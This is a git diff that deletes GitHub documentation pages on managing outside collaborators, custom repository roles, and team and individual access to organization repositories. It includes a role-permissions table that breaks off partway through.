b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/removing-an-outside-collaborator-from-an-organization-repository.md deleted file mode 100644 index dd4af86ece29..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/removing-an-outside-collaborator-from-an-organization-repository.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Removing an outside collaborator from an organization repository -intro: Owners and repository admins can remove an outside collaborator's access to a repository. -redirect_from: - - /articles/removing-an-outside-collaborator-from-an-organization-repository - - /github/setting-up-and-managing-organizations-and-teams/removing-an-outside-collaborator-from-an-organization-repository - - /organizations/managing-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository - - /organizations/managing-user-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Remove collaborator ---- - -{% data reusables.enterprise-managed.repo-collaborators-note %} - -{% ifversion fpt or ghec %} - -> [!WARNING] -> * When removing an outside collaborator from a private repository, the paid license count does not automatically downgrade. To pay for fewer licenses after removing users from your organization, follow the steps in [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan). -> * You are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property. - -{% endif %} - -While forks of private repositories are deleted when a collaborator is removed, the person will still retain any local clones of your repository. - -## Removing outside collaborators from all repositories in an organization - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.organizations.people_tab_outside_collaborators %} -1. Select the outside collaborator or outside collaborators you'd like to remove from the organization. - - ![Screenshot of the first two users in the list of outside collaborators. To the left of each user, a checkbox is checked and outlined in dark orange.](/assets/images/help/teams/list-of-outside-collaborators-selected-bulk.png) -1. Above the list of outside collaborators, select the **X collaborators selected...** dropdown menu, and click **Remove from all repositories**. - - ![Screenshot of the list of outside collaborators. Above the list, a dropdown menu, labeled "2 collaborators selected..." is outlined in dark orange.](/assets/images/help/teams/user-bulk-management-options-for-outside-collaborators.png) -1. Review the outside collaborator or outside collaborators who will be removed from the organization, then click **Remove outside collaborators**. - -## Removing an outside collaborator from a particular repository in an organization - -If you only want to remove an outside collaborator from certain repositories in your organization, you can remove this person's access to one specific repository at a time. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.organizations.people_tab_outside_collaborators %} -1. To the right of the username of the person you want to remove, select the {% octicon "gear" aria-label="Collaborator settings" %} dropdown menu, and click **Manage**. - - ![Screenshot of the outside collaborator list for an organization. To the right of a collaborator, a kebab icon is outlined in dark orange.](/assets/images/help/organizations/manage-outside-collaborator.png) -1. To the right of the repository that you want to remove the outside collaborator from, click **Manage access**. -1. To completely remove the outside collaborator's access to the repository, in the upper right corner, click **Remove access to this repository**. -1. To confirm, click **Remove access**. - -You can also remove an outside collaborator from a repository in the access overview in your repository settings. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#removing-access-for-a-team-or-person). diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/about-custom-repository-roles.md b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/about-custom-repository-roles.md deleted file mode 100644 index abbc3de63fd3..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/about-custom-repository-roles.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: About custom repository roles -intro: You can more granularly control access to your organization's repositories with custom repository roles. -versions: - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: About custom roles -redirect_from: - - /organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles ---- - -{% data reusables.organizations.custom-repo-roles-ghec-only %} - -## About custom repository roles - -To perform any actions on {% data variables.product.github %}, such as creating a pull request in a repository or changing an organization's billing settings, a person must have sufficient access to the relevant account or resource. This access is controlled by permissions. A permission is the ability to perform a specific action. For example, the ability to delete an issue is a permission. A role is a set of permissions you can assign to individuals or teams. - -Within an organization, you can assign roles at the organization, team, and repository level. For more information about the different levels of roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). - -You can have more granular control over the permissions you grant at the repository level by creating up to five custom repository roles. {% data reusables.organizations.about-custom-repo-roles %} For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-custom-repository-roles-for-an-organization). - -After you create a custom role, anyone with admin access to a repository can assign the role to an individual or team. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository) and [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository). - -You can also use the REST API to create and manage custom repository roles. For more information, see [AUTOTITLE](/rest/orgs/custom-roles). - -{% ifversion custom-org-roles %} -Custom repository roles manage access to specific repositories in your organization. To {% ifversion org-custom-role-with-repo-permissions %}grant access to all repositories, and to {% endif %}control access to your organization's administration settings, you can use custom organization roles. See [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles). - -Custom organization roles differ from repository roles by granting permissions across **all** current and future repositories in the organization. Custom repository roles, however, allow you to grant permissions to **specific** repositories within the organization. -{% endif %} - -## About the inherited role - -When you create a custom repository role, you start by choosing an inherited role from a set of pre-defined options. The inherited role determines the initial set of permissions included in the custom role. Then, you can further customize the role by choosing additional permissions to give the role. For the full list of available permissions, see [Additional permissions for custom roles](#additional-permissions-for-custom-roles). - -Your options for the inherited role are standardized for different types of contributors in your repository. - -| Inherited role | Designed for | -|----|----| -| **Read** | Non-code contributors who want to view or discuss your project | -| **Triage** | Contributors who need to proactively manage issues and pull requests without write access | -| **Write** | Organization members and collaborators who actively push to your project | -| **Maintain** | Project managers who need to manage the repository without access to sensitive or destructive actions | - -## Custom role examples - -Here are some examples of custom repository roles you can configure. - -| Custom repository role | Summary | Inherited role | Additional permissions | -|----|----|----|----| -| Security engineer | Able to contribute code and maintain the security pipeline | **Maintain** | Delete code scanning results | -| Contractor | Able to develop webhooks integrations | **Write** | Manage webhooks | -| Community manager | Able to handle all the community interactions without being able to contribute code | **Read** | - Mark an issue as duplicate
- Manage GitHub Page settings
- Manage wiki settings
- Set the social preview
- Edit repository metadata
- Triage discussions | - -## Additional permissions for custom roles - -After choosing an inherited role, you can select additional permissions for your custom role. - -You can only choose an additional permission if it's not already included in the inherited role. For example, if the inherited role offers **Write** access to a repository, then the "Close a pull request" permission will already be included in the inherited role. - -{% data reusables.organizations.additional-permissions %} - -## Precedence for different levels of access - -{% data reusables.organizations.precedence-for-different-levels %} diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/index.md b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/index.md deleted file mode 100644 index 473ad882cb2f..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Managing repository roles -intro: You can control the level of access that each person has to your organization's repositories by managing their repository role. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations -children: - - /repository-roles-for-an-organization - - /about-custom-repository-roles - - /managing-custom-repository-roles-for-an-organization - - /setting-base-permissions-for-an-organization - - /viewing-people-with-access-to-your-repository - - /managing-an-individuals-access-to-an-organization-repository - - /managing-team-access-to-an-organization-repository -shortTitle: Manage repository roles ---- \ No newline at end of file diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository.md b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository.md deleted file mode 100644 index d730d7f50d00..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Managing an individual's access to an organization repository -intro: You can manage a person's access to a repository owned by your organization. -redirect_from: - - /articles/managing-an-individual-s-access-to-an-organization-repository-early-access-program - - /articles/managing-an-individual-s-access-to-an-organization-repository - - /articles/managing-an-individuals-access-to-an-organization-repository - - /github/setting-up-and-managing-organizations-and-teams/managing-an-individuals-access-to-an-organization-repository - - /organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository - - /organizations/managing-user-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage individual access -permissions: People with admin access to a repository can manage access to the repository. ---- - -## About access to organization repositories - -When you remove a collaborator from a repository in your organization, the collaborator loses read and write access to the repository. If the repository is private and the collaborator has forked the repository, then their fork is also deleted, but the collaborator will still retain any local clones of your repository. - -{% data reusables.repositories.deleted_forks_from_private_repositories_warning %} - -## Managing an individual's access to an organization repository - -You can give a person access to a repository or change a person's level of access to a repository in your repository settings. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository). - -## Further reading - -{% ifversion fpt or ghec %}- [AUTOTITLE](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository){% endif %} -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-custom-repository-roles-for-an-organization.md b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-custom-repository-roles-for-an-organization.md deleted file mode 100644 index 5f22c3161dc5..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-custom-repository-roles-for-an-organization.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Managing custom repository roles for an organization -intro: 'Learn how to create, edit, or delete custom repository roles for your organization.' -permissions: Organization owners. -versions: - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage custom roles -redirect_from: - - /early-access/github/articles/managing-custom-repository-roles-for-an-organization - - /organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization ---- - -{% data reusables.organizations.custom-repo-roles-ghec-only %} - -## About custom repository roles - -{% data reusables.organizations.about-custom-repo-roles %} For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/about-custom-repository-roles). - -## Creating a repository role - -To create a new repository role, you add permissions to an inherited role and give the custom role a name. - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org-list %} -{% data reusables.organizations.org-settings-repository-roles %} -1. Scroll to the "Custom roles" section, then click **Create a Role**. -1. Under "Name", type the name of your repository role. -1. Under "Description", type a description of your repository role. -1. Under "Choose a role to inherit", select the role you want to inherit. -1. Under "Add Permissions", select the dropdown menu and click the permissions you want your custom role to include. -1. Click **Create role**. - -## Editing a repository role - -{% data reusables.profile.access_profile %} -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.org-list %} -{% data reusables.organizations.org-settings-repository-roles %} -1. To the right of the role you want to edit, click {% octicon "kebab-horizontal" aria-label="Show custom role actions" %}, then click **Edit**. - - ![Screenshot of the list of custom roles for an organization. To the right of a role, a kebab icon is outlined in dark orange.](/assets/images/help/organizations/repository-role-edit-setting.png) -1. Edit, then click **Update role**. - -## Deleting a repository role - -If you delete an existing repository role, all pending invitations, teams, and users with the custom role will be reassigned to the organization's base permissions. - -{% data reusables.profile.access_profile %} -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.org-list %} -{% data reusables.organizations.org-settings-repository-roles %} -1. To the right of the role you want to delete, click {% octicon "kebab-horizontal" aria-label="Show custom role actions" %}, then click **Delete**. - - ![Screenshot of the list of custom roles for an organization. To the right of a role, a kebab icon is outlined in dark orange.](/assets/images/help/organizations/repository-role-edit-setting.png) -1. Review changes for the role you want to remove, then click **Delete role**. diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository.md b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository.md deleted file mode 100644 index b532ed7365ea..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Managing team access to an organization repository -intro: 'You can give a team access to a repository, remove a team''s access to a repository, or change a team''s permission level for a repository.' -redirect_from: - - /articles/managing-team-access-to-an-organization-repository-early-access-program - - /articles/managing-team-access-to-an-organization-repository - - /github/setting-up-and-managing-organizations-and-teams/managing-team-access-to-an-organization-repository - - /organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository - - /organizations/managing-user-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage team access ---- - -People with admin access to a repository can manage team access to the repository. Team maintainers can remove a team's access to a repository if the team has direct access to it. If the team's access to the repository is inherited from a parent team, maintainers can choose to reset the current permission to match the parent team's permission. - -> [!WARNING] -> * You can change a team's permission level if the team has direct access to a repository. If the team's access to the repository is inherited from a parent team, you must change the parent team's access to the repository. -> * If you add or remove repository access for a parent team, each of that parent's child teams will also receive or lose access to the repository. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). - -## Giving a team access to a repository - -You can give a team access to a repository or change a team's level of access to a repository in your repository settings. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#inviting-a-team-or-person). - -## Removing a team's access to a repository - -You can remove a team's access to an organization repository in your repository settings. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#removing-access-for-a-team-or-person). - -If a team has direct access to a repository, you can remove that team's access to the repository. If a team's access to the repository is inherited from a parent team, you must remove the repository from the parent team in order to remove the repository from child teams. - -{% data reusables.repositories.deleted_forks_from_private_repositories_warning %} - -## Further reading - -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization.md b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization.md deleted file mode 100644 index 8cc3ce904af8..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization.md +++ /dev/null @@ -1,207 +0,0 @@ ---- -title: Repository roles for an organization -intro: 'You can customize access to each repository in your organization by assigning granular roles, giving people access to the features and tasks they need.' -redirect_from: - - /articles/repository-permission-levels-for-an-organization-early-access-program - - /articles/repository-permission-levels-for-an-organization - - /github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization - - /organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization - - /organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization - - /organizations/managing-user-access-to-your-organizations-repositories/repository-roles-for-an-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Repository roles ---- - -## Repository roles for organizations - -You can give organization members, outside collaborators, and teams of people different levels of access to repositories owned by an organization by assigning them to roles. Choose the role that best fits each person or team's function in your project without giving people more access to the project than they need. - -From least access to most access, the roles for an organization repository are: -* **Read:** Recommended for non-code contributors who want to view or discuss your project -* **Triage:** Recommended for contributors who need to proactively manage issues{% ifversion discussions-moderators-control-who-can-report %}, discussions,{% endif %} and pull requests without write access -* **Write:** Recommended for contributors who actively push to your project -* **Maintain:** Recommended for project managers who need to manage the repository without access to sensitive or destructive actions -* **Admin:** Recommended for people who need full access to the project, including sensitive and destructive actions like managing security or deleting a repository - -{% ifversion fpt %} -If your organization uses {% data variables.product.prodname_ghe_cloud %}, you can create custom repository roles. For more information, see [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-custom-repository-roles-for-an-organization) in the {% data variables.product.prodname_ghe_cloud %} documentation. -{% elsif ghec or ghes %} -You can create custom repository roles. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-custom-repository-roles-for-an-organization). -{% endif %} - -Organization owners can set base permissions that apply to all members of an organization when accessing any of the organization's repositories. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/setting-base-permissions-for-an-organization#setting-base-permissions). - -Organization owners can also choose to further limit access to certain settings and actions across the organization. For more information on options for specific settings, see [AUTOTITLE](/organizations/managing-organization-settings). - -In addition to managing organization-level settings, organization owners have admin access to every repository owned by the organization. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). - -> [!WARNING] -> When someone adds a deploy key to a repository, any user who has the private key can read from or write to the repository (depending on the key settings), even if they're later removed from the organization. - -## Permissions for each role - -{% ifversion fpt %} -Some of the features listed below are limited to organizations using {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} -{% endif %} - -> [!NOTE] -> The roles required to use security features are listed in [Access requirements for security features](#access-requirements-for-security-features) below. - -{% rowheaders %} - -| Repository action | Read | Triage | Write | Maintain | Admin | -|:---|:---:|:---:|:---:|:---:|:---:| -| Manage [individual](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository), [team](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository), and [outside collaborator](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization) access to the repository | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Pull from the person or team's assigned repositories | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Fork the person or team's assigned repositories | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Edit and delete their own comments | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Open issues | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Close issues they opened themselves | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Reopen issues they closed themselves | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Have an issue assigned to them | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Send pull requests from forks of the team's assigned repositories | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Submit reviews on pull requests](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Approve or request changes to a pull request with required reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Apply suggested changes](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request) to pull requests | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| View published releases | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% ifversion fpt or ghec %} | -| View [GitHub Actions workflow runs](/actions/managing-workflow-runs) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| Edit wikis in public repositories | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Edit wikis in private repositories | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% ifversion fpt or ghec %} | -| [Report abusive or spammy content](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| Apply/dismiss labels | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Create, edit, delete labels | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Close, reopen, and assign all issues and pull requests | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Enable and disable auto-merge on a pull request](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Create, edit, delete milestones | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Apply milestones | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Mark [duplicate issues and pull requests](/issues/tracking-your-work-with-issues/marking-issues-or-pull-requests-as-a-duplicate)| {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Request [pull request reviews](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review) | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Merge a [pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Push to (write) the person or team's assigned repositories | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Edit and delete anyone's comments on commits, pull requests, and issues | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Hide anyone's comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments) | {% octicon "x" aria-label="No" %} | {% ifversion discussions-moderators-control-who-can-report %}{% octicon "check" aria-label="Yes" %}{% endif %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} || [Lock conversations](/communities/moderating-comments-and-conversations/locking-conversations) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Transfer issues (see [AUTOTITLE](/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository) for details) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Act as a designated code owner for a repository](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Mark a draft pull request as ready for review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Convert a pull request to a draft](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Create [status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% ifversion fpt or ghec %} | -| Create, edit, run, re-run, and cancel [GitHub Actions workflows](/actions) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| Create, update, and delete [GitHub Actions secrets](/actions/security-guides/using-secrets-in-github-actions) on GitHub.com | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Create, update, and delete [GitHub Actions secrets](/rest/actions/secrets) using the REST API | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Create and edit releases | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| View draft releases | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Edit a repository's description | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% ifversion fpt or ghec %} | -| [View and install packages](/packages/learn-github-packages) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Publish packages](/packages/learn-github-packages/publishing-a-package) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Delete and restore packages](/packages/learn-github-packages/deleting-and-restoring-a-package) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| Manage 